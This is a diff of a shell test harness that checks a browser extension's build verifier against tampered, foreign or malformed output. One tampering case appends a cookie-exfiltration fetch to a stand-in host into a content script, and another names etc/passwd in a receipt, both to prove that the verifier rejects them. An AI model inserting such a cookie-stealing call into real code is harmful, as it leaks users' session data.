write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
|
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
|
||||||
|
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
|
||||||
|
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
|
||||||
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
|
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
|
||||||
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
|
|
||||||
|
|
||||||
{
|
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
|
||||||
echo "dist/chrome/src/popup/index.js"
|
write_receipt
|
||||||
echo "dist/firefox/src/popup/index.js"
|
|
||||||
} >"$FIXTURE/dist/constants-bundles.txt"
|
|
||||||
|
|
||||||
# Readable and traversable by the unprivileged user the permission cases
|
# Readable and traversable by the unprivileged user the permission cases
|
||||||
# run as, before those cases take that away again on purpose.
|
# run as, before those cases take that away again on purpose.
|
||||||
@@ -185,7 +257,51 @@ runuser|runuser -u nobody --"
|
|||||||
|
|
||||||
# --- case runner ------------------------------------------------------------
|
# --- case runner ------------------------------------------------------------
|
||||||
|
|
||||||
# check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
|
# How verify-build is invoked for a case. The arguments are literal here rather
|
||||||
|
# than assembled from a string, so nothing about a case's invocation depends on
|
||||||
|
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
|
||||||
|
# verifier ignores it — that is the whole of the ambient-environment defect.
|
||||||
|
run_verify() {
|
||||||
|
_rv_variant="$1"
|
||||||
|
_rv_perm="$2"
|
||||||
|
_rv_bin="$FIXTURE/script/verify-build"
|
||||||
|
|
||||||
|
case "$_rv_variant" in
|
||||||
|
release | release-envdebug)
|
||||||
|
set -- --expect release --receipt "$RECEIPT"
|
||||||
|
;;
|
||||||
|
debug)
|
||||||
|
set -- --expect debug --receipt "$RECEIPT"
|
||||||
|
;;
|
||||||
|
no-expect)
|
||||||
|
set -- --receipt "$RECEIPT"
|
||||||
|
;;
|
||||||
|
no-receipt)
|
||||||
|
set -- --expect release
|
||||||
|
;;
|
||||||
|
bad-expect)
|
||||||
|
set -- --expect maybe --receipt "$RECEIPT"
|
||||||
|
;;
|
||||||
|
unknown-arg)
|
||||||
|
set -- --expect release --receipt "$RECEIPT" --force
|
||||||
|
;;
|
||||||
|
receipt-in-dist)
|
||||||
|
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
echo "test-verify-build: unknown variant $_rv_variant" >&2
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
if [ "$_rv_perm" = yes ]; then
|
||||||
|
run_unpriv "$_rv_bin" "$@"
|
||||||
|
else
|
||||||
|
"$_rv_bin" "$@"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
|
||||||
#
|
#
|
||||||
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
|
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
|
||||||
# requires both the exit status and the message. <perm> marks a case that only
|
# requires both the exit status and the message. <perm> marks a case that only
|
||||||
@@ -193,7 +309,7 @@ runuser|runuser -u nobody --"
|
|||||||
check_case() {
|
check_case() {
|
||||||
_name="$1"
|
_name="$1"
|
||||||
_perm="$2"
|
_perm="$2"
|
||||||
_mode="$3"
|
_variant="$3"
|
||||||
_want_status="$4"
|
_want_status="$4"
|
||||||
_want_text="$5"
|
_want_text="$5"
|
||||||
_setup="$6"
|
_setup="$6"
|
||||||
@@ -213,23 +329,22 @@ check_case() {
|
|||||||
return 0
|
return 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ "$_mode" = debug ]; then
|
# Exported rather than set as a command prefix: run_verify may go through
|
||||||
_debug=1
|
# run_unpriv, which is a function, and an assignment prefixed to a function
|
||||||
else
|
# call is not portable. Every other case unsets it, so the environment this
|
||||||
_debug=""
|
# harness happens to run in cannot decide anything.
|
||||||
fi
|
case "$_variant" in
|
||||||
|
*envdebug)
|
||||||
# Exported rather than set as a command prefix: run_unpriv is a function,
|
AUTISTMASK_DEBUG=1
|
||||||
# and an assignment prefixed to a function call is not portable.
|
export AUTISTMASK_DEBUG
|
||||||
AUTISTMASK_DEBUG="$_debug"
|
;;
|
||||||
export AUTISTMASK_DEBUG
|
*)
|
||||||
|
unset AUTISTMASK_DEBUG || true
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
_status=0
|
_status=0
|
||||||
if [ "$_perm" = yes ]; then
|
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
|
||||||
_out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
|
|
||||||
else
|
|
||||||
_out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
|
|
||||||
fi
|
|
||||||
|
|
||||||
_ok=yes
|
_ok=yes
|
||||||
_why=""
|
_why=""
|
||||||
@@ -272,7 +387,9 @@ check_case() {
|
|||||||
|
|
||||||
# --- cases ------------------------------------------------------------------
|
# --- cases ------------------------------------------------------------------
|
||||||
#
|
#
|
||||||
# Each runs with the fixture as its working directory.
|
# Each runs with the fixture as its working directory. A case that regenerates
|
||||||
|
# the receipt is saying "this is what the build emitted"; one that does not is
|
||||||
|
# saying "the build emitted something else and this happened afterwards".
|
||||||
|
|
||||||
c_control() { :; }
|
c_control() { :; }
|
||||||
|
|
||||||
@@ -299,38 +416,391 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
|
|||||||
|
|
||||||
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
|
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
|
||||||
|
|
||||||
c_manifest_missing() { rm dist/constants-bundles.txt; }
|
c_receipt_missing() { rm "$RECEIPT"; }
|
||||||
|
|
||||||
c_manifest_empty() { : >dist/constants-bundles.txt; }
|
c_receipt_empty() { : >"$RECEIPT"; }
|
||||||
|
|
||||||
c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
|
c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
|
||||||
|
|
||||||
c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
|
c_receipt_bad_header() {
|
||||||
|
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
|
||||||
|
}
|
||||||
|
|
||||||
c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
|
c_receipt_other_tree() {
|
||||||
|
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
|
||||||
|
}
|
||||||
|
|
||||||
c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
|
c_receipt_path_with_space() {
|
||||||
|
write_receipt
|
||||||
|
printf 'file %s P dist/two words.js\n' \
|
||||||
|
"0000000000000000000000000000000000000000000000000000000000000000" \
|
||||||
|
>>"$RECEIPT"
|
||||||
|
}
|
||||||
|
|
||||||
c_unlisted_extension() {
|
c_receipt_path_outside_dist() {
|
||||||
|
write_receipt
|
||||||
|
printf 'file %s P etc/passwd\n' \
|
||||||
|
"0000000000000000000000000000000000000000000000000000000000000000" \
|
||||||
|
>>"$RECEIPT"
|
||||||
|
}
|
||||||
|
|
||||||
|
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
|
||||||
|
|
||||||
|
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
|
||||||
|
|
||||||
|
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
|
||||||
|
|
||||||
|
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
|
||||||
|
|
||||||
|
c_extra_file_with_marker() {
|
||||||
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
|
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
|
||||||
}
|
}
|
||||||
|
|
||||||
c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
|
c_extra_file_no_marker() {
|
||||||
|
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
|
||||||
|
}
|
||||||
|
|
||||||
|
# The four demonstrated bypasses of the pre-receipt verifier.
|
||||||
|
|
||||||
|
# A 26-byte file whose entire content is the marker string used to verify ok.
|
||||||
|
c_marker_only_stub() {
|
||||||
|
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
|
||||||
|
}
|
||||||
|
|
||||||
|
# The content script runs on every page the browser loads and was never read.
|
||||||
|
c_tampered_content_script() {
|
||||||
|
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
|
||||||
|
>>dist/chrome/src/content/index.js
|
||||||
|
}
|
||||||
|
|
||||||
|
# The manifest decides permissions and CSP and was never read either.
|
||||||
|
c_tampered_manifest() {
|
||||||
|
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
|
||||||
|
>dist/chrome/manifest.json
|
||||||
|
}
|
||||||
|
|
||||||
|
# A dist/ that has nothing to do with this build, carrying the right file
|
||||||
|
# names and the right marker, offered against this build's receipt.
|
||||||
|
c_foreign_dist() {
|
||||||
|
rm -rf dist
|
||||||
|
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
|
||||||
|
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
|
||||||
|
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
|
||||||
|
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
|
||||||
|
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
|
||||||
|
printf 'body{color:#fff}\n' >dist/styles.css
|
||||||
|
}
|
||||||
|
|
||||||
|
# Cases that state what the build itself emitted, and so regenerate the
|
||||||
|
# receipt over the changed bytes.
|
||||||
|
|
||||||
|
c_no_marker() {
|
||||||
|
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
|
||||||
|
write_receipt
|
||||||
|
}
|
||||||
|
|
||||||
c_both_markers() {
|
c_both_markers() {
|
||||||
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
|
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
|
||||||
|
write_receipt
|
||||||
|
}
|
||||||
|
|
||||||
|
c_marker_on_plain_file() {
|
||||||
|
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
|
||||||
|
>dist/chrome/src/content/index.js
|
||||||
|
write_receipt
|
||||||
|
}
|
||||||
|
|
||||||
|
c_debug_build() {
|
||||||
|
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
|
||||||
|
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
|
||||||
|
write_receipt
|
||||||
|
}
|
||||||
|
|
||||||
|
c_no_dist() { rm -rf dist; }
|
||||||
|
|
||||||
|
# --- dist discard -----------------------------------------------------------
|
||||||
|
#
|
||||||
|
# make build wraps every step of the release path in
|
||||||
|
# script/discard-dist-on-failure, so a release build that fails removes dist/:
|
||||||
|
# with AUTISTMASK_DEBUG=1 exported it has already emitted a complete, loadable
|
||||||
|
# debug bundle whose every wallet uses the publicly committed test recovery
|
||||||
|
# phrase, and a loud failure alone does not stop someone loading dist/chrome/
|
||||||
|
# anyway. make build-debug is deliberately not wrapped.
|
||||||
|
#
|
||||||
|
# Both directions are asserted against the state of dist/ ON DISK after the run,
|
||||||
|
# not against the exit status: a case reading only the status would keep passing
|
||||||
|
# if the removal quietly stopped happening, which is the flip this exists to
|
||||||
|
# catch. The wrapper runs against the fixture — its ROOT is the fixture, via the
|
||||||
|
# symlink in the fixture's script/ — with trivial commands standing in for the
|
||||||
|
# build steps, because what is under test is what happens after a step says no,
|
||||||
|
# not the step.
|
||||||
|
|
||||||
|
# discard_case <name> <setup> <status> <gone|kept> <want> <unwanted> [cmd...]
|
||||||
|
discard_case() {
|
||||||
|
_dc_name="$1"
|
||||||
|
_dc_setup="$2"
|
||||||
|
_dc_want_status="$3"
|
||||||
|
_dc_want_dist="$4"
|
||||||
|
_dc_want="$5"
|
||||||
|
_dc_unwanted="$6"
|
||||||
|
shift 6
|
||||||
|
|
||||||
|
build_fixture
|
||||||
|
if ! (cd "$FIXTURE" && "$_dc_setup") >/dev/null 2>&1; then
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo " FAIL: $_dc_name"
|
||||||
|
echo " the case's own setup failed, so nothing was tested."
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
_dc_status=0
|
||||||
|
_dc_out="$(cd "$FIXTURE" &&
|
||||||
|
"$FIXTURE/script/discard-dist-on-failure" "$@" 2>&1)" || _dc_status=$?
|
||||||
|
|
||||||
|
_ok=yes
|
||||||
|
_why=""
|
||||||
|
|
||||||
|
if [ "$_dc_status" -ne "$_dc_want_status" ]; then
|
||||||
|
_ok=no
|
||||||
|
_why="exit status $_dc_status, wanted $_dc_want_status"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# The assertion this case exists for: what is on disk now.
|
||||||
|
if [ -e "$FIXTURE/dist" ] || [ -h "$FIXTURE/dist" ]; then
|
||||||
|
_dc_dist=kept
|
||||||
|
else
|
||||||
|
_dc_dist=gone
|
||||||
|
fi
|
||||||
|
if [ "$_dc_dist" != "$_dc_want_dist" ]; then
|
||||||
|
_ok=no
|
||||||
|
_why="${_why:+$_why; }dist/ is $_dc_dist after the run, wanted"
|
||||||
|
_why="$_why $_dc_want_dist"
|
||||||
|
elif [ "$_dc_want_dist" = kept ] &&
|
||||||
|
[ ! -f "$FIXTURE/dist/chrome/src/popup/index.js" ]; then
|
||||||
|
# Kept has to mean intact: a dist/ emptied out is not one left alone.
|
||||||
|
_ok=no
|
||||||
|
_why="${_why:+$_why; }dist/ survived but its emitted bundle did not"
|
||||||
|
fi
|
||||||
|
|
||||||
|
_dc_check_message "$_dc_want" want
|
||||||
|
_dc_check_message "$_dc_unwanted" unwanted
|
||||||
|
|
||||||
|
if [ "$_ok" = yes ]; then
|
||||||
|
PASSED=$((PASSED + 1))
|
||||||
|
echo " ok: $_dc_name"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo " FAIL: $_dc_name"
|
||||||
|
echo " $_why"
|
||||||
|
echo " --- discard-dist-on-failure output ---"
|
||||||
|
printf '%s\n' "$_dc_out" | sed 's/^/ /'
|
||||||
|
echo " --- end output ---"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Require ($2 = want) or forbid ($2 = unwanted) a substring in the wrapper's
|
||||||
|
# output, updating _ok and _why. An empty substring asserts nothing. Same grep
|
||||||
|
# discipline as everywhere else here: 0 and 1 are answers, anything else means
|
||||||
|
# the message was never checked.
|
||||||
|
_dc_check_message() {
|
||||||
|
[ -n "$1" ] || return 0
|
||||||
|
|
||||||
|
_dcm_g=0
|
||||||
|
printf '%s\n' "$_dc_out" | grep -q -F -e "$1" || _dcm_g=$?
|
||||||
|
case "$_dcm_g" in
|
||||||
|
0)
|
||||||
|
[ "$2" = unwanted ] || return 0
|
||||||
|
_ok=no
|
||||||
|
_why="${_why:+$_why; }message contained: $1"
|
||||||
|
;;
|
||||||
|
1)
|
||||||
|
[ "$2" = want ] || return 0
|
||||||
|
_ok=no
|
||||||
|
_why="${_why:+$_why; }message did not contain: $1"
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
_ok=no
|
||||||
|
_why="${_why:+$_why; }grep exited $_dcm_g matching the message, so the
|
||||||
|
message was never checked"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# --- Makefile wiring --------------------------------------------------------
|
||||||
|
|
||||||
|
# The verifier cases above prove what verify-build does when it is told what to
|
||||||
|
# expect, and the discard cases prove what the wrapper does with dist/. This
|
||||||
|
# proves the Makefile wires both up — the mode as an argument, on a scrubbed
|
||||||
|
# environment, identically whether or not AUTISTMASK_DEBUG is exported in the
|
||||||
|
# shell that ran make, and the wrapper on the release path only. Read off
|
||||||
|
# `make -n`, so no build runs.
|
||||||
|
check_makefile_wiring() {
|
||||||
|
if ! command -v make >/dev/null 2>&1; then
|
||||||
|
SKIPPED=$((SKIPPED + 1))
|
||||||
|
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
|
||||||
|
echo " SKIP (make not found): Makefile wiring"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# make build must ask for release, and must scrub the flag from the
|
||||||
|
# verifier's environment, even when the caller has it exported.
|
||||||
|
_wiring_case "make build passes --expect release" \
|
||||||
|
build "verify-build --expect release"
|
||||||
|
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
|
||||||
|
build "env -u AUTISTMASK_DEBUG"
|
||||||
|
_wiring_case "make build-debug passes --expect debug" \
|
||||||
|
build-debug "verify-build --expect debug"
|
||||||
|
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
|
||||||
|
build-debug "env -u AUTISTMASK_DEBUG"
|
||||||
|
|
||||||
|
# The release path runs its steps through the wrapper, including the final
|
||||||
|
# check-censored pass; the debug path runs none of them through it, which is
|
||||||
|
# what keeps a failed debug build's dist/ on disk.
|
||||||
|
_wiring_case "make build wraps its steps in discard-dist-on-failure" \
|
||||||
|
build "script/discard-dist-on-failure"
|
||||||
|
_wiring_case "make build wraps check-censored --require-dist too" \
|
||||||
|
build "script/discard-dist-on-failure script/check-censored"
|
||||||
|
_wiring_case_absent "make build-debug never discards its dist/" \
|
||||||
|
build-debug "discard-dist-on-failure"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Run `make -n TARGET` with AUTISTMASK_DEBUG=1 exported, into _wc_out. Returns
|
||||||
|
# non-zero, having already reported the failure, when make itself failed: a
|
||||||
|
# recipe that could not be printed was never checked.
|
||||||
|
_wiring_make_n() {
|
||||||
|
AUTISTMASK_DEBUG=1
|
||||||
|
export AUTISTMASK_DEBUG
|
||||||
|
_wc_status=0
|
||||||
|
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
|
||||||
|
unset AUTISTMASK_DEBUG
|
||||||
|
|
||||||
|
[ "$_wc_status" -ne 0 ] || return 0
|
||||||
|
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo " FAIL: $_wc_name"
|
||||||
|
echo " make -n $_wc_target exited $_wc_status"
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_wiring_case() {
|
||||||
|
_wc_name="$1"
|
||||||
|
_wc_target="$2"
|
||||||
|
_wc_want="$3"
|
||||||
|
|
||||||
|
_wiring_make_n || return 0
|
||||||
|
|
||||||
|
_wc_g=0
|
||||||
|
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
|
||||||
|
case "$_wc_g" in
|
||||||
|
0)
|
||||||
|
PASSED=$((PASSED + 1))
|
||||||
|
echo " ok: $_wc_name"
|
||||||
|
;;
|
||||||
|
1)
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo " FAIL: $_wc_name"
|
||||||
|
echo " make -n $_wc_target does not run: $_wc_want"
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo " FAIL: $_wc_name"
|
||||||
|
echo " grep exited $_wc_g, so the recipe was never checked"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# The inverse: the recipe must NOT run something.
|
||||||
|
_wiring_case_absent() {
|
||||||
|
_wc_name="$1"
|
||||||
|
_wc_target="$2"
|
||||||
|
_wc_want="$3"
|
||||||
|
|
||||||
|
_wiring_make_n || return 0
|
||||||
|
|
||||||
|
_wc_g=0
|
||||||
|
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
|
||||||
|
case "$_wc_g" in
|
||||||
|
1)
|
||||||
|
PASSED=$((PASSED + 1))
|
||||||
|
echo " ok: $_wc_name"
|
||||||
|
;;
|
||||||
|
0)
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo " FAIL: $_wc_name"
|
||||||
|
echo " make -n $_wc_target runs: $_wc_want"
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo " FAIL: $_wc_name"
|
||||||
|
echo " grep exited $_wc_g, so the recipe was never checked"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
run_cases() {
|
run_cases() {
|
||||||
check_case "control: untouched dist passes" \
|
check_case "control: untouched dist passes" \
|
||||||
no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
|
no release 0 "2 bundle(s) $MARKER_OFF" c_control
|
||||||
|
|
||||||
check_case "unlisted marker-carrying file, trailing space in name" \
|
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
|
||||||
no release 1 "carries a debug marker but is absent from" \
|
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
|
||||||
|
|
||||||
|
check_case "debug bundles under --expect release fail (make build with
|
||||||
|
AUTISTMASK_DEBUG=1 exported)" \
|
||||||
|
no release-envdebug 1 \
|
||||||
|
"is $MARKER_ON but this build was told to expect" c_debug_build
|
||||||
|
|
||||||
|
check_case "debug bundles under --expect debug pass" \
|
||||||
|
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
|
||||||
|
|
||||||
|
check_case "no --expect argument" \
|
||||||
|
no no-expect 1 "no --expect argument." c_control
|
||||||
|
|
||||||
|
check_case "no --receipt argument" \
|
||||||
|
no no-receipt 1 "no --receipt argument." c_control
|
||||||
|
|
||||||
|
check_case "--expect takes release or debug" \
|
||||||
|
no bad-expect 1 "--expect takes release or debug" c_control
|
||||||
|
|
||||||
|
check_case "unknown argument" \
|
||||||
|
no unknown-arg 1 "unknown argument: --force" c_control
|
||||||
|
|
||||||
|
check_case "receipt inside the tree it describes" \
|
||||||
|
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
|
||||||
|
|
||||||
|
check_case "bundle replaced by a file containing only the marker" \
|
||||||
|
no release 1 "does not contain the bytes this build emitted" \
|
||||||
|
c_marker_only_stub
|
||||||
|
|
||||||
|
check_case "content script tampered with after the build" \
|
||||||
|
no release 1 \
|
||||||
|
"dist/chrome/src/content/index.js does not contain the bytes" \
|
||||||
|
c_tampered_content_script
|
||||||
|
|
||||||
|
check_case "manifest.json tampered with after the build" \
|
||||||
|
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
|
||||||
|
c_tampered_manifest
|
||||||
|
|
||||||
|
check_case "hand-written dist/ offered against this build's receipt" \
|
||||||
|
no release 1 "does not contain the bytes this build emitted" \
|
||||||
|
c_foreign_dist
|
||||||
|
|
||||||
|
check_case "extra file under dist/ carrying a marker" \
|
||||||
|
no release 1 \
|
||||||
|
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
|
||||||
|
c_extra_file_with_marker
|
||||||
|
|
||||||
|
check_case "extra file under dist/ carrying no marker" \
|
||||||
|
no release 1 \
|
||||||
|
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
|
||||||
|
c_extra_file_no_marker
|
||||||
|
|
||||||
|
check_case "extra file, trailing space in name" \
|
||||||
|
no release 1 "is under dist/ but the build that just ran did not emit" \
|
||||||
c_trailing_space
|
c_trailing_space
|
||||||
|
|
||||||
check_case "unlisted marker-carrying file, newline in name" \
|
check_case "extra file, newline in name" \
|
||||||
no release 1 "carries a debug marker but is absent from" \
|
no release 1 "is under dist/ but the build that just ran did not emit" \
|
||||||
c_embedded_newline
|
c_embedded_newline
|
||||||
|
|
||||||
check_case "dist/ replaced by a symlink" \
|
check_case "dist/ replaced by a symlink" \
|
||||||
@@ -342,64 +812,100 @@ run_cases() {
|
|||||||
|
|
||||||
check_case "dangling symlink under dist/" \
|
check_case "dangling symlink under dist/" \
|
||||||
no release 1 \
|
no release 1 \
|
||||||
"reading dist/chrome/dangling.js, so the file could not be" \
|
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
|
||||||
c_dangling_symlink
|
|
||||||
|
|
||||||
check_case "symlink to a directory under dist/" \
|
check_case "symlink to a directory under dist/" \
|
||||||
no release 1 \
|
no release 1 \
|
||||||
"reading dist/chrome/link-to-dir, so the file could not be" \
|
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
|
||||||
c_dir_symlink
|
|
||||||
|
|
||||||
check_case "symlink to a listed bundle under an unlisted path" \
|
check_case "symlink aliasing an emitted bundle under another path" \
|
||||||
no release 1 \
|
no release 1 \
|
||||||
"dist/chrome/src/aliased.js carries a debug marker but is absent" \
|
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
|
||||||
c_alias_symlink
|
|
||||||
|
|
||||||
check_case "manifest missing" \
|
check_case "receipt missing" \
|
||||||
no release 1 "dist/constants-bundles.txt is missing." \
|
no release 1 "is missing. build.js writes it" c_receipt_missing
|
||||||
c_manifest_missing
|
|
||||||
|
|
||||||
check_case "manifest empty" \
|
check_case "receipt empty" \
|
||||||
no release 1 "is empty, so no emitted bundle was found to contain" \
|
no release 1 "is empty, so the build wrote nothing to it" \
|
||||||
c_manifest_empty
|
c_receipt_empty
|
||||||
|
|
||||||
check_case "manifest unreadable" \
|
check_case "receipt unreadable" \
|
||||||
yes release 1 "is not readable, so nothing was inspected." \
|
yes release 1 "is not readable, so nothing was inspected." \
|
||||||
c_manifest_unreadable
|
c_receipt_unreadable
|
||||||
|
|
||||||
check_case "listed bundle missing" \
|
check_case "receipt is not a build receipt" \
|
||||||
|
no release 1 "does not start with" c_receipt_bad_header
|
||||||
|
|
||||||
|
check_case "receipt from a different checkout" \
|
||||||
|
no release 1 "was written by a build of a different tree" \
|
||||||
|
c_receipt_other_tree
|
||||||
|
|
||||||
|
check_case "receipt names a path containing a space" \
|
||||||
|
no release 1 "cannot be read back unambiguously" \
|
||||||
|
c_receipt_path_with_space
|
||||||
|
|
||||||
|
check_case "receipt names a path outside dist/" \
|
||||||
|
no release 1 "names a path that is not under dist/" \
|
||||||
|
c_receipt_path_outside_dist
|
||||||
|
|
||||||
|
check_case "emitted file missing" \
|
||||||
no release 1 \
|
no release 1 \
|
||||||
"lists dist/chrome/src/popup/index.js, which does not exist." \
|
"names dist/chrome/src/popup/index.js, which does not exist." \
|
||||||
c_bundle_missing
|
c_emitted_missing
|
||||||
|
|
||||||
check_case "listed bundle empty" \
|
check_case "emitted file empty" \
|
||||||
no release 1 "which is empty. An empty bundle" c_bundle_empty
|
no release 1 "which is empty. An empty file" c_emitted_empty
|
||||||
|
|
||||||
check_case "listed bundle unreadable" \
|
check_case "emitted file unreadable" \
|
||||||
yes release 1 \
|
yes release 1 \
|
||||||
"reading dist/chrome/src/popup/index.js, so the file could not be" \
|
"on dist/chrome/src/popup/index.js, so its bytes were never read" \
|
||||||
c_bundle_unreadable
|
c_emitted_unreadable
|
||||||
|
|
||||||
check_case "unlisted extension carrying a marker" \
|
check_case "emitted bundle carries no marker" \
|
||||||
no release 1 \
|
|
||||||
"dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
|
|
||||||
c_unlisted_extension
|
|
||||||
|
|
||||||
check_case "listed bundle carries no marker" \
|
|
||||||
no release 1 "carries no debug marker, so its DEBUG state cannot be" \
|
no release 1 "carries no debug marker, so its DEBUG state cannot be" \
|
||||||
c_no_marker
|
c_no_marker
|
||||||
|
|
||||||
check_case "listed bundle carries both markers" \
|
check_case "emitted bundle carries both markers" \
|
||||||
no release 1 "carries both debug markers, so DEBUG was not resolved" \
|
no release 1 "carries both debug markers, so DEBUG was not resolved" \
|
||||||
c_both_markers
|
c_both_markers
|
||||||
|
|
||||||
check_case "wrong marker for the requested mode" \
|
check_case "marker on a file the build did not record as a bundle" \
|
||||||
no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
|
no release 1 "carries a debug marker but the build did not" \
|
||||||
c_control
|
c_marker_on_plain_file
|
||||||
|
|
||||||
|
discard_case "a failed release build step removes dist/" \
|
||||||
|
c_control 3 gone "dist/ WAS REMOVED" "" sh -c 'exit 3'
|
||||||
|
|
||||||
|
discard_case "a successful release build step leaves dist/ alone" \
|
||||||
|
c_control 0 kept "" "REMOVED" true
|
||||||
|
|
||||||
|
discard_case "a failed release build step with no dist/ says there was none" \
|
||||||
|
c_no_dist 3 gone "There was no dist/ to remove" "" sh -c 'exit 3'
|
||||||
|
|
||||||
|
discard_case "the wrapper given no command removes nothing" \
|
||||||
|
c_control 1 kept "no command given" ""
|
||||||
|
|
||||||
|
check_makefile_wiring
|
||||||
}
|
}
|
||||||
|
|
||||||
# --- main --------------------------------------------------------------------
|
# --- main --------------------------------------------------------------------
|
||||||
|
|
||||||
|
# The harness cannot build a receipt without a digest, so a missing sha256
|
||||||
|
# command is a failure here rather than a silent reduction in coverage.
|
||||||
|
pick_sha256_tool() {
|
||||||
|
if command -v sha256sum >/dev/null 2>&1; then
|
||||||
|
SHA256_CMD="sha256sum"
|
||||||
|
elif command -v shasum >/dev/null 2>&1; then
|
||||||
|
SHA256_CMD="shasum -a 256"
|
||||||
|
elif command -v openssl >/dev/null 2>&1; then
|
||||||
|
SHA256_CMD="openssl dgst -sha256 -r"
|
||||||
|
else
|
||||||
|
echo "test-verify-build: no sha256 command found (tried sha256sum," \
|
||||||
|
"shasum, openssl), so no fixture receipt can be written" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
main() {
|
main() {
|
||||||
cd "$ROOT"
|
cd "$ROOT"
